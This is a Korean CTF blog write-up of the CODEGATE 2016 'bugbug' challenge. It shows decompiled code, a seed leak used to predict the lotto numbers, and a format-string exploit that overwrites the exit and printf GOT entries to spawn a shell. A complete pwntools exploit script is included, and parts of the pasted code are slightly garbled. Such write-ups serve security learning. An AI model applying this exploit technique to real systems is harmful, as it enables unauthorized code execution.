ipwn

[CODEGATE 2016] bugbug 본문

CTF's/CODEGATE

[CODEGATE 2016] bugbug

ipwn 2018. 3. 26. 18:23

이번에 푼 문제는 bugbug이다. 

오랜만에 ctf문제 exploit해서 기분 좋다.


암튼 바로 시작하겠다.


후 쓰다보니 라업 쓰는게 문제 푸는 것 보다 더 어렵다.



NX가 걸려있고 나머지는 아무것도 걸려있지 않다.


이제 ida로 까보자.


int __cdecl main()
{
  unsigned int v0; // eax
  unsigned int v1; // eax
  int result; // eax
  int v3[6]; // [esp+4h] [ebp-A4h]
  int v4[6]; // [esp+1Ch] [ebp-8Ch]
  char buf; // [esp+34h] [ebp-74h]
  unsigned int ptr; // [esp+98h] [ebp-10h]
  FILE *stream; // [esp+9Ch] [ebp-Ch]
 
  v0 = 0;
  do
  {
    v4[v0] = 0;
    ++v0;
  }
  while ( v0 < );
  v1 = 0;
  do
  {
    v3[v1] = 0;
    ++v1;
  }
  while ( v1 < );
  setvbuf(stdout, 020);
  stream = fopen("/dev/urandom""rb");
  fread(&ptr, 4u, 1u, stream);
  fclose(stream);
  srand(ptr);
  printf("\nWho are you? ");
  read(0&buf, 0x64u);
  printf("\nHello~ %s\n"&buf);
  for ( dword_804A05C = 0; dword_804A05C <= 5++dword_804A05C )
  {
LABEL_6:
    dword_804A058 = rand() % 45 + 1;
    for ( dword_804A054 = 0; dword_804A05C - >= dword_804A054; ++dword_804A054 )
    {
      if ( v4[dword_804A054] == dword_804A058 )
        goto LABEL_6;
    }
    v4[dword_804A05C] = dword_804A058;
  }
  lotto_input((int)v3);
  result = lotto_compare((int)v3, (int)v4);
  if ( result )
  {
    printf("Congratulation, ");
    printf(&buf);
    puts("You Win!!\n");
    exit(0);
  }
  return result;
}



보면 bss영역에 막 값넣고 뭐하고 막 하는데 그냥 랜덤값 6개 뽑는거다.


그 다음에는 내가 넣은 값 6개랑 비교해서 맞으면 congratulation출력해주고 포맷스트링 버그가 있는 위치로 이동한다.


그리고 보면 buf변수에는 read함수로 0x64크기만큼 입력받을 수 있게 되어있는데, buf의 시작주소에서 0x64만큼 뒤에는 ptr변수가 존재하고, 랜덤값을 뽑는 seed값은 ptr변수에 존재한다.


이 말은 seed값을 leak할 수 있다는 말이고, 그럼 랜덤값을 우리가 맞출 수 있다는 말을 의미한다.


즉 포맷스트링 버그로 넘어가는 부분까지 슥삭 갈 수 있다 (grin)

물론 이 부분까지는 금방금방 할 수 있다.



hexdump를 떠보면 알 수 있듯이 ...AAAA가 출력되다가 이상한 값이 leak된다.


저 A값이 계속 출력된 그 뒤에 값이 seed값이라는 것을 알 수 있다. 


이제 seed값을 알아냈으니 C언어로 랜덤값 6개 뽑아내는 바이너리 짜서, 랜덤값 맞추고, 이제 취약점 일어나는 부분으로 넘어가보자.


from pwn import *
 
= process('./bugbug')
 
leak = 'A'*100
print p.recv()
p.sendline(leak)
 
p.recvuntil('A'*100)
print hexdump(p.recv()[0:4])



이렇게 script를 작성하면 seed값을 성공적으로 leak할 수 있을 것이다.



암튼 저 스크립트 실행시키면 이렇게 seed값이 leak된다.


이제 seed값을 알아냈으니까 random값 6개를 뽑아내서 하면 되는데, 파이썬에서 해도 되지만 난 C로 짜서 풀었다. 대충 C로 랜덤값 6개 뽑아주는 프로그램 작성해서, 출력 값 recv해오고 그 값을 bugbug바이너리에 넘겨주면 포맷스트링 버그가 터지는 곳으로 이동할 수 있을 것이다.



이렇게 lotto번호 준다 ㅇㅇ


이 값 넘겨주면 이제 포맷스트링버그 터지는 곳으로 이동할 것이다.


한 번 넘겨줘보겠다.



이케 뛰었다 굳


이제 AAAA값과 %9x값을 넣어서 포맷스트링 버그를 일으켜, AAAA가 언제 다시 나오는지 확인해보자.



보니까 17번째 format string에서 0x41414141을 출력하며 AAAA의 위치를 알 수 있는데, 4번째 부분을 보면 libc영역 내의 값 처럼 생긴 이상한 값이 있다. 만약 저 값이 정말 libc영역 내에 존재하는 값이라면, libc_base까지의 offset을 구하고, system까지 구할 수 있을 것이다.


일단 저 값이 정말 libc영역 내의 값인지 확인해보겠다.



lotto번호를 보내서 프로그램을 끝내기 전에 pid로 디버깅 하기 위해서 raw_input('^&^')을 익스플로잇 코드 사이에 넣어주었다.



지금 libc의 영역의 값은 0xf7d0c000 ~ 0xf7ebf000까지이다. 그럼 이제 저 포맷스트링 버그를 일으켜서 값을 확인해보자.



;; 아쉽게도 libc영역 사이에 있지는 않다. 하지만 저 주소와 libc_base까지의 offset은 고정적이기 때문에, 풀 때 상관은 없더라.. 뭐 암튼 저 값과 libc_base사이의 offset은 0x1f9a74이다. 그리고 libc_base부터 system까지의 offset은 0x3ada0이다.


이제 system함수도 구했고.. system함수로 아무 함수의 got나 덮어주면 될 것 같지만 한 번만 got overwrite를 해준다고 풀 수 없는 문제인 것 같아 보인다. 고로 exit의 got를 다시 buf에 read함수로 값을 넣어주는 곳으로 옮긴 뒤 그 뒤에 printf의 got를 system으로 바꾸고, 인자로 /bin/sh를 넘겨주면 해결 될 것이다.


stage별로 다시 분류하자 후.. 라업이 너무 정신없다.


stage1. exit got를 read함수가 시작되는 부분으로 got overwrite + system함수 주소 구하기.

stage2. printf got를 system함수로 overwrite

stage3. /bin/sh;를 인자로 넘겨줘서 쉘 가져오기 (grin)




read함수가 시작되는 부분이다.



이렇게 값을 넘겨주면 될 것이다. (exit_g에는 exit_got의 값이 들어있음)


그럼 system함수를 구하기 위한 값이 leak되는 동시에 read함수로 이동도 할 수 있고~ 그릏다.


이제 다시 값을 넘겨줘야 하는데, stage2에 맞게 값을 넘겨주면 될 것이다.



이렇게 값을 넘겨주면 될 것이다.


이제 사실 다 끝났다; 뭘 더 적을 게 없다.


이제 실행시키고 /bin/sh;를 인자로 넘겨주기만 하면 쉘 가져와진다. 



근데 이상하게 read다시 호출할 때 뭔 문제가 있는건지, lotto번호가 안넘어가고 그냥 이어붙여저서 나오길래 그냥 내가 직접 손수 입력해서 풀었다.


암튼 여기서 lotto값 나온거 저기 39...~ 입력하고



/bin/sh;를 인자로 넘겨주고..


3번째의 로또번호를 다시 넣어주면!



그럼 이렇게 쉘이 가져와진다.


아니 예상대로 풀리긴 했는데 뭔가 이상하지만 풀었으니까... (grin)..,


일단 스크립트 올려놓고 다시 스크립트를 최적화해서 한 번에 다 풀리면 그 때 다시 스크립트 수정해서 올려야겠다.



수정 끝 스크립트 조금 바꿔줬더니 한 번에 쉘 가져와진다.


완 - 벽.. (grin)


from pwn import *
 
= process('./bugbug')
= ELF('./bugbug')
exit_g = e.got['exit']
printf_g = e.got['printf']
 
stage_1 = p32(exit_g) + p32(exit_g + 2+ "%4$8x" + "%34883x" + "%17$n" + "%32689x" + "%18$n" + "A"*63
 
def get_lotto(input_send):
    lot = process('./lotto')
    p.sendline(input_send)
    sleep(0.3)
    leak = p.recv()
    seed = leak[122:126]
    log.info('seed : ' + hex(u32(seed)))
    lot.sendline(str(u32(seed)))
    lotto1 = lot.recvuntil('\n')
    lotto2 = lot.recvuntil('\n')
    lotto3 = lot.recv()
    log.info('lotto num1 : ' + lotto1)
    log.info('lotto num2 : ' + lotto2)
    log.info('lotto num3 : ' + lotto3)
    p.sendline(lotto1)
    leak = p.recv()
    return leak, lotto1, lotto2, lotto3
 
format_leak, lotto1, lotto2, lotto3 = get_lotto(stage_1)
libc_leak = int(format_leak[25:33], 16)
libc_base = libc_leak - 0x1f9a74
system = libc_base + 0x3ada0
 
log.info('system : ' + hex(system))
 
low = system % 0x10000 
high = system / 0x10000 + 0x10000
 
stage_2 = '/bin' + '/sh;' + p32(printf_g) + p32(printf_g + 2+ '%' + str(low - 16+ 'x' + '%23$n' + '%' + str(high-low) + 'x' + '%24$n'
 
p.recv()
p.sendline(stage_2 + 'A'*(100 - len(stage_2)) + lotto2)
for i in range(47):
    p.recv()
p.sendline(stage_2 + 'A'*(100 - len(stage_2)) + lotto3)
p.interactive()
cs


라업 끝 (grin) 이상한 부분이나 틀린 부분, 이해 안가는 부분은 코멘트 남겨주세요

'CTF's > CODEGATE' 카테고리의 다른 글

[CODEGATE 2018] catshop  (0) 2018.05.17
[CODEGATE 2018] betting  (0) 2018.05.17
[CODEGATE 2018] BaskinRobins31  (5) 2018.03.02
[CODEGATE 2014] nuclear  (0) 2018.02.02
[CODEGATE 2017] babyMISC  (0) 2018.01.31
Comments